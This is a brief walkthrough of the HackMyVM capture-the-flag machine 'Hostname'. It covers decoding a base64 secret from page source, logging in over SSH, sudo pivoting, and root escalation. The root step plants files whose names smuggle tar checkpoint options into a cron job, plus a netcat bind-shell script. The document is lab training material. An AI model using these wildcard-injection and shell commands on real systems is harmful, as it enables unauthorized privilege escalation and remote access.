Hostname - Avijneyam

00. Metainfo

Title: Hostname
Author: avijneyam
Release date: 2022-05-04
Download from: HackMyVM
Level: Easy
System: Linux
You’ll learn: Web-tools

01. Entry

In the source code, you will find this:

<script crossorigin="S3VuZ19GdV9QNG5kYQ==" src=''></script>

Decode it:

echo -n 'S3VuZ19GdV9QNG5kYQ==' | base64 -d  #Secret Word

Use the HackBar v2 plugin for Firefox and You got a password for SSH.

HackBar v2

02. SSH

Log in to the console as user po.

export IP=
ssh po@$IP 

02a. User oogway

cat /etc/sudoers.d/po
# po HackMyVM = (oogway) NOPASSWD: /bin/bash
sudo -u oogway -h HackMyVM bash
cat /etc/crontab


02b. user root

cd /opt/secret/
touch -- --checkpoint=1
touch -- "--checkpoint-action=exec=sh exploit"
echo "nc -e /bin/bash -lvp 1234" > exploit

Wait a minute.

nc localhost 1234

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